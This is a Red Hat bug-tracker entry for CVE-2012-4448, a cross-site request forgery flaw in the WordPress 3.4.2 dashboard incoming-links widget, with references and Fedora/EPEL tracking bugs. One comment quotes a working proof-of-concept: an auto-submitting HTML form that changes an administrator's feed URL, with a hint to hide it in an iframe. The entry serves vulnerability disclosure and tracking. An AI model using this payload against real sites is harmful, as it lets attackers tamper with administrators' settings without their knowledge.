Bug 860261 - (CVE-2012-4448) CVE-2012-4448 wordpress: CSRF in the incoming links section of the dashboard
CVE-2012-4448 wordpress: CSRF in the incoming links section of the dashboard
Status: NEW
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
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Assigned To: Red Hat Product Security
: Security
Depends On: 860267 860268
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Reported: 2012-09-25 08:30 EDT by Jan Lieskovsky
Modified: 2016-03-04 07:11 EST (History)
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Description Jan Lieskovsky 2012-09-25 08:30:58 EDT
A cross-site request forgery (CSRF) flaw was found in the way WordPress, a blog tool and publishing platform, performed sanitization of parameters by registering dashboard widgets for incoming links widget. A remote attacker could provide a specially-crafted web page that, when visited by wordpress administrator could allow the attacker to change the URL of the feed for the incoming links section of the dashboard.

[1] http://packetstormsecurity.org/files/116785/WordPress-3.4.2-Cross-Site-Request-Forgery.html
[2] https://bugs.gentoo.org/show_bug.cgi?id=436198
[3] https://secunia.com/advisories/50715/
Comment 1 Jan Lieskovsky 2012-09-25 08:50:55 EDT
Local copy of the reproducer from [1]:

==================WORDPRESS 3.4.2 CSRF exploit=================
<body onload="javascript:document.forms[0].submit()">
<form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form">
<h1>How Many Girls You Have? xD))</h1>
<!-- Idea for you: Iframe it -->
<input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" />
<select id="rss-items-1" name="widget-rss[1][items]">
<option value='1' >1</option>
<option value='2' >2</option>
<option value='3' >3</option><option value='4' >4</option>
<option value='5' >5</option>
<option value='6' >6</option>
<option value='7' >7</option>
<option value='8' >8</option>
<option value='9' >9</option>
<option value='10' >10</option>
<option value='11' >11</option>
<option value='12' >12</option>
<option value='13' >13</option>
<option value='14' >14</option>
<option value='15' >15</option>
<option value='16' >16</option>
<option value='17' >17</option>
<option value='18' >18</option>
<option value='19' >19</option>
<option value='20' selected='selected'>20</option>
<input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget_id" value="dashboard_incoming_links" />
====================END OF=================================
Comment 2 Jan Lieskovsky 2012-09-25 08:51:38 EDT
CVE request:
[4] http://www.openwall.com/lists/oss-security/2012/09/25/10
Comment 3 Jan Lieskovsky 2012-09-25 08:53:05 EDT
Created wordpress tracking bugs for this issue

Affects: fedora-all [bug 860267]
Affects: epel-all [bug 860268]
Comment 4 Jan Lieskovsky 2012-09-26 04:24:05 EDT
The CVE identifier of CVE-2012-4448 has been assigned to this issue:

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